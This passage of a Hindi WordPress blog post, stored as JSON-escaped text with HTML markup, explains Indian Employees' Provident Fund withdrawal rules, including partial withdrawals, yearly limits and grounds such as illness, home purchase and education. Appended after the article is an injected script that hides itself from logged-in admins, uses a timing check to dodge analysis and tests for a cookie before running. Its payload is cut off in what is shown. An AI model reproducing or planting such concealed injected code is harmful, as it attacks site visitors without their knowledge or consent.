\u091c\u093f\u0938\u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u092a\u0948\u0938\u094b\u0902 \u0915\u093e \u0928\u0941\u0915\u0938\u093e\u0928 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e\u0964<\/li>\n\n\n\n<li><strong>\u0906\u0902\u0936\u093f\u0915<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0938\u0940 (Partial Withdrawal)<\/strong><strong>:<\/strong> \u0916\u093e\u0938 \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 (\u091c\u0948\u0938\u0947 \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u093e, \u0936\u093f\u0915\u094d\u0937\u093e \u0906\u0926\u093f) \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%AC%E0%A4%BE%E0%A4%B0_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_How_many_times_can_PF_be_withdrawn_in_a_year\"><\/span><strong>1 <\/strong><strong>\u0938\u093e\u0932<\/strong><strong> <\/strong><strong>\u092e\u0947\u0902<\/strong><strong> <\/strong><strong>\u0915\u093f\u0924\u0928\u0940<\/strong><strong> <\/strong><strong>\u092c\u093e\u0930<\/strong><strong> <\/strong><strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0932<\/strong><strong> <\/strong><strong>\u0938\u0915\u0924\u0947<\/strong><strong> <\/strong><strong>\u0939\u0948\u0902 (How many times can PF be withdrawn in a year?)<\/strong><strong>?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0908\u092a\u0940\u090f\u092b (EPF) \u0916\u093e\u0924\u093e \u090f\u0915 \u0910\u0938\u0940 \u092a\u094d\u0930\u0923\u093e\u0932\u0940 \u0939\u0948 \u091c\u093f\u0938\u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u092e\u093f\u0932\u0915\u0930 \u0939\u0930 \u092e\u093e\u0939 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964 \u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0947 \u0915\u0941\u091b \u0928\u093f\u092f\u092e \u0939\u094b\u0924\u0947 \u0939\u0948\u0902 \u091c\u094b \u0906\u092a\u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u0907\u0938\u0947 \u0915\u093f\u0924\u0928\u0940 \u092c\u093e\u0930 \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948, \u0907\u0938 \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%AE%E0%A4%A4%E0%A5%8C%E0%A4%B0_%E0%A4%AA%E0%A4%B0_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%8F%E0%A4%95_%E0%A4%AC%E0%A4%BE%E0%A4%B0_%E0%A4%B9%E0%A5%80_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%BE_%E0%A4%9C%E0%A4%BE_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88\"><\/span><strong>\u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u092a\u0940\u090f\u092b \u090f\u0915 \u092c\u093e\u0930 \u0939\u0940 \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u092a\u0940\u090f\u092b \u0915\u093e \u0909\u0926\u094d\u0926\u0947\u0936\u094d\u092f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u092c\u091a\u0924 \u0915\u0930\u0928\u093e \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u0907\u0938\u0947 \u092c\u093e\u0930-\u092c\u093e\u0930 \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0940 \u0905\u0928\u0941\u092e\u0924\u093f \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940\u0964 \u0938\u093e\u092e\u093e\u0928\u094d\u092f\u0924: \u092a\u0940\u090f\u092b \u0930\u093e\u0936\u093f <strong>\u0938\u0947\u0935\u093e \u0938\u092e\u093e\u092a\u094d\u0924\u093f<\/strong> \u092f\u093e <strong>\u0905\u0935\u0938\u093e\u0926 (Retirement)<\/strong> \u0915\u0947 \u0938\u092e\u092f \u0939\u0940 \u0928\u093f\u0915\u093e\u0932\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%95%E0%A5%81%E0%A4%9B_%E0%A4%B5%E0%A4%BF%E0%A4%B6%E0%A5%87%E0%A4%B7_%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%BE_%E0%A4%9C%E0%A4%BE_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A4%BE_%E0%A4%B9%E0%A5%88_%E0%A4%B9%E0%A4%BE%E0%A4%B2%E0%A4%BE%E0%A4%82%E0%A4%95%E0%A4%BF_%E0%A4%95%E0%A5%81%E0%A4%9B_%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BF%E0%A4%A4%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%9C%E0%A5%88%E0%A4%B8%E0%A5%87\"><\/span><strong>\u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948:<\/strong> \u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u0915\u0941\u091b \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902, \u091c\u0948\u0938\u0947:<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0907\u0932\u093e\u091c<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><strong>:<\/strong> \u0917\u0902\u092d\u0940\u0930 \u092c\u0940\u092e\u093e\u0930\u093f\u092f\u094b\u0902 \u091c\u0948\u0938\u0947 \u0915\u0948\u0902\u0938\u0930, \u0915\u093f\u0921\u0928\u0940 \u0915\u0940 \u092c\u0940\u092e\u093e\u0930\u0940, \u092f\u093e \u0939\u0943\u0926\u092f \u0938\u0902\u092c\u0902\u0927\u093f\u0924 \u092c\u0940\u092e\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0907\u0932\u093e\u091c \u0915\u0947 \u0932\u093f\u090f \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0918\u0930<\/strong><strong> <\/strong><strong>\u0916\u0930\u0940\u0926\u0928\u0947<\/strong><strong> <\/strong><strong>\u092f\u093e<\/strong><strong> <\/strong><strong>\u0928\u093f\u0930\u094d\u092e\u093e\u0923<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><strong>:<\/strong> \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u0947 \u092f\u093e \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u090f\u0915 \u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932\u0940 \u091c\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0936\u093e\u0926\u0940<\/strong><strong> <\/strong><strong>\u092f\u093e<\/strong><strong> <\/strong><strong>\u092c\u091a\u094d\u091a\u094b\u0902<\/strong><strong> <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0936\u093f\u0915\u094d\u0937\u093e<\/strong><strong>:<\/strong> \u0915\u0941\u091b \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0936\u093e\u0926\u0940 \u092f\u093e \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0940 \u092a\u0922\u093c\u093e\u0908 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A5%80%E0%A4%AE%E0%A4%BE\"><\/span><strong>\u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0940 \u0938\u0940\u092e\u093e:<\/strong> <span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u092f\u0926\u093f \u0906\u092a\u0928\u0947 \u0928\u094c\u0915\u0930\u0940 \u091b\u094b\u0921\u093c\u0940 \u0939\u0948 \u092f\u093e \u0906\u092a\u0915\u0940 \u0938\u0947\u0935\u093e \u0938\u092e\u093e\u092a\u094d\u0924 \u0939\u094b \u0917\u0908 \u0939\u0948, \u0924\u094b \u0906\u092a \u0905\u092a\u0928\u093e \u092a\u0942\u0930\u093e \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0932\u0947\u0915\u093f\u0928 \u092f\u0926\u093f \u0906\u092a \u0905\u092a\u0928\u0940 \u0928\u094c\u0915\u0930\u0940 \u092e\u0947\u0902 \u092c\u0928\u0947 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u092c\u093e\u0930-\u092c\u093e\u0930 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0940 \u0905\u0928\u0941\u092e\u0924\u093f \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940\u0964<\/p>\n\n\n\n<p>1 \u0938\u093e\u0932 \u092e\u0947\u0902 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0940 \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0905\u0928\u0941\u092e\u0924\u093f \u0928\u0939\u0940\u0902 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u0915\u093e\u0930\u0923\u094b\u0902 \u0938\u0947, \u091c\u0948\u0938\u0947 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0938\u092e\u0938\u094d\u092f\u093e\u090f\u0902 \u092f\u093e \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u0947, \u092a\u0930 \u092a\u0940\u090f\u092b \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%87%E0%A4%B8_%E0%A4%AC%E0%A5%8D%E0%A4%B2%E0%A5%89%E0%A4%97_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%B9%E0%A4%AE%E0%A4%A8%E0%A5%87_PF_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A5%87_%E0%A4%AE%E0%A5%87%E0%A4%82_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%9C%E0%A4%BE%E0%A4%A8%E0%A4%BE_What_did_we_learn_about_PF_in_this_blog\"><\/span><strong>\u0907\u0938 \u092c\u094d\u0932\u0949\u0917 \u092e\u0947\u0902 \u0939\u092e\u0928\u0947 PF \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902 \u0915\u094d\u092f\u093e \u091c\u093e\u0928\u093e (What did we learn about PF in this blog)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0907\u0938 \u092c\u094d\u0932\u0949\u0917 \u092e\u0947\u0902, \u0939\u092e\u0928\u0947 <strong>\u0908\u092a\u0940\u090f\u092b<\/strong><strong> (EPF)<\/strong> \u0914\u0930 <strong>\u0908\u092a\u0940\u090f\u0938<\/strong><strong> (Employees&#8217; Pension Scheme)<\/strong> \u0938\u0947 \u091c\u0941\u0921\u093c\u0947 \u0935\u093f\u092d\u093f\u0928\u094d\u0928 \u092a\u0939\u0932\u0941\u0913\u0902 \u092a\u0930 \u091a\u0930\u094d\u091a\u093e \u0915\u0940\u0964 \u0936\u0941\u0930\u0941\u0906\u0924 \u092e\u0947\u0902, \u0939\u092e\u0928\u0947 \u092f\u0939 \u0938\u092e\u091d\u093e \u0915\u093f <strong>\u0908\u092a\u0940\u090f\u092b<\/strong> \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0940 \u092d\u0935\u093f\u0937\u094d\u092f \u0928\u093f\u0927\u093f \u0939\u094b\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0915\u093e \u092e\u0941\u0916\u094d\u092f \u0909\u0926\u094d\u0926\u0947\u0936\u094d\u092f \u0909\u0928\u0915\u0947 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0928\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u0939\u0940, <strong>\u0908\u092a\u0940\u090f\u0938<\/strong> \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0915\u0947 \u0924\u0939\u0924 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0939\u092e\u0928\u0947 \u092f\u0939 \u092d\u0940 \u091c\u093e\u0928\u093e \u0915\u093f <strong>\u092a\u0940\u090f\u092b<\/strong><strong> (Provident Fund)<\/strong> \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u0926\u094d\u0935\u093e\u0930\u093e \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u0914\u0930 \u092f\u0939 \u0930\u093e\u0936\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u091c\u092e\u093e \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, \u0939\u092e\u0928\u0947 <strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0930\u093e\u0936\u093f<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0938\u0940<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0928\u093f\u092f\u092e\u094b\u0902<\/strong> \u092a\u0930 \u091a\u0930\u094d\u091a\u093e \u0915\u0940, \u091c\u093f\u0938\u092e\u0947\u0902 \u092f\u0939 \u092c\u0924\u093e\u092f\u093e \u0917\u092f\u093e \u0915\u093f \u0906\u092a \u0905\u092a\u0928\u0940 \u092a\u0942\u0930\u0940 \u092a\u0940\u090f\u092b \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u092f\u0926\u093f \u0906\u092a\u0928\u0947 \u0928\u094c\u0915\u0930\u0940 \u091b\u094b\u0921\u093c \u0926\u0940 \u0939\u0948, \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u0938\u092e\u092f, \u092f\u093e \u0917\u0902\u092d\u0940\u0930 \u092c\u0940\u092e\u093e\u0930\u0940 \u0915\u0940 \u0938\u094d\u0925\u093f\u0924\u093f \u092e\u0947\u0902\u0964<\/p>\n\n\n\n<p>\u0939\u092e\u0928\u0947 \u092f\u0939 \u092d\u0940 \u0926\u0947\u0916\u093e \u0915\u093f \u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u093f\u0924\u0928\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948, \u0914\u0930 \u0909\u0928\u094d\u0939\u0947\u0902 \u0915\u093f\u0938 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u092e\u0947\u0902, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092f\u094b\u0917\u0926\u093e\u0928, \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u0914\u0930 \u0935\u0947\u0924\u0928 \u0915\u093e \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u092f\u094b\u0917\u0926\u093e\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f <strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0938\u0940<\/strong> \u0915\u0947 \u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u0915\u093e\u0930\u0923 \u091c\u0948\u0938\u0947 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f, \u0936\u093f\u0915\u094d\u0937\u093e, \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u0947, \u0906\u0926\u093f \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u091c\u093f\u0928\u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932\u0940 \u091c\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0938\u092e\u093e\u092a\u094d\u0924\u093f \u092e\u0947\u0902, \u092f\u0939 \u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937 \u0928\u093f\u0915\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948 \u0915\u093f <strong>\u0908\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0914\u0930<\/strong><strong> <\/strong><strong>\u0908\u092a\u0940\u090f\u0938<\/strong> \u092d\u093e\u0930\u0924\u0940\u092f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u092e\u091c\u092c\u0942\u0924 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0915\u093e \u092e\u093e\u0927\u094d\u092f\u092e \u0939\u0948\u0902, \u091c\u094b \u0909\u0928\u0915\u0947 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926, \u092c\u0940\u092e\u093e\u0930\u0940 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928, \u0914\u0930 \u0905\u0928\u094d\u092f \u0906\u092a\u093e\u0924\u0915\u093e\u0932\u0940\u0928 \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0915 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0907\u0928 \u092f\u094b\u091c\u0928\u093e\u0913\u0902 \u0915\u0940 \u092a\u0942\u0930\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0914\u0930 \u0936\u0930\u094d\u0924\u094b\u0902 \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902 \u0938\u092e\u091d\u0928\u093e \u091a\u093e\u0939\u093f\u090f, \u0924\u093e\u0915\u093f \u0935\u0947 \u0938\u092e\u092f \u092a\u0930 \u0938\u0939\u0940 \u0928\u093f\u0930\u094d\u0923\u092f \u0932\u0947 \u0938\u0915\u0947\u0902\u0964<\/p>\n\n\n\n\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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